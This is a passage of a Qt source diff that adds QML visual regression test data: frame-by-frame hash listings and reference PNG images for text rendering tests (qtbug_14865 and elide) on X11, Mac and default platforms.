+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1408
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1424
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1440
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1456
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1472
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1488
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1504
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1520
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1536
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1552
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1568
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1584
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1600
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1616
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1632
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1648
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1664
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1680
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1696
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1712
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1728
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1744
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+ Frame {
+ msec: 1760
+ hash: "3ccd3d26158a50d8f0567bafd7a23e06"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.0.png
new file mode 100644
index 00000000..026d06c3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.1.png
new file mode 100644
index 00000000..026d06c3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.qml
new file mode 100644
index 00000000..481c9aa0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data-X11/qtbug_14865.qml
@@ -0,0 +1,447 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qtbug_14865.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 48
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 64
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 80
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 96
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 112
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 128
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 144
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 160
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 176
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 192
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 208
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 224
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 240
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 256
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 272
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 288
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 304
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 320
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 336
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 352
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 368
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 384
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 400
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 416
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 432
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 448
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 464
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 480
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 496
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 512
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 528
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 544
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 560
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 576
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 592
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 608
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 624
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 640
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 656
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 672
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 688
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 704
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 720
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 736
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 752
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 768
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 784
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 800
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 816
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 832
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 848
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 864
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 880
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 896
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 912
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 928
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 944
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 960
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 976
+ image: "qtbug_14865.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 1008
+ hash: "bd09363ea401e07a38d216bf29806592"
+ }
+ Frame {
+ msec: 1024
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1040
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1056
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1072
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1088
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1104
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1120
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1136
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1152
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1168
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1184
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1200
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1216
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1232
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1248
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1264
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1280
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1296
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1312
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1328
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1344
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1360
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1376
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1392
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1408
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1424
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1440
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1456
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1472
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1488
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1504
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1520
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1536
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1552
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1568
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1584
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1600
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1616
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1632
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1648
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1664
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1680
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1696
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1712
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1728
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1744
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+ Frame {
+ msec: 1760
+ hash: "a3e4ab9c6151c9acb4c9dd41c9c2c596"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.0.png
new file mode 100644
index 00000000..a4bae3a2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.qml
new file mode 100644
index 00000000..a470a66d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/data/qtbug_14865.qml
@@ -0,0 +1,447 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 32
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 48
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 64
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 80
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 96
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 112
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 128
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 144
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 160
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 176
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 192
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 208
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 224
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 240
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 256
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 272
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 288
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 304
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 320
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 336
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 352
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 368
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 384
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 400
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 416
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 432
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 448
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 464
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 480
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 496
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 512
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 528
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 544
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 560
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 576
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 592
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 608
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 624
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 640
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 656
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 672
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 688
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 704
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 720
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 736
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 752
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 768
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 784
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 800
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 816
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 832
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 848
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 864
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 880
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 896
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 912
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 928
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 944
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 960
+ image: "qtbug_14865.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 992
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 1008
+ hash: "fd4d35de0a95388dd92ffbb82fbe0e8a"
+ }
+ Frame {
+ msec: 1024
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1040
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1056
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1072
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1088
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1104
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1120
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1136
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1152
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1168
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1184
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1200
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1216
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1232
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1248
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1264
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1280
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1296
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1312
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1328
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1344
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1360
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1376
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1392
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1408
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1424
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1440
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1456
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1472
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1488
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1504
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1520
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1536
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1552
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1568
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1584
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1600
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1616
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1632
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1648
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1664
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1680
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1696
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1712
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1728
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1744
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+ Frame {
+ msec: 1760
+ hash: "eee4600ac08b458ac7ac2320e225674c"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png
new file mode 100644
index 00000000..749a9c5e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.1.png
new file mode 100644
index 00000000..749a9c5e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml
new file mode 100644
index 00000000..fbb542e3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetext/elide/data-MAC/elide.qml
@@ -0,0 +1,279 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "elide.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 48
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 64
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 80
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 96
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 112
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 128
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 144
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 160
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 176
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 192
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 208
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 224
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 240
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 256
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 272
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 288
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 304
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 320
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 336
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 352
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 368
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 384
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 400
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 416
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 432
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
+ msec: 448
+ hash: "4d49ec1a14a321ea9c0d506663df55c2"
+ }
+ Frame {
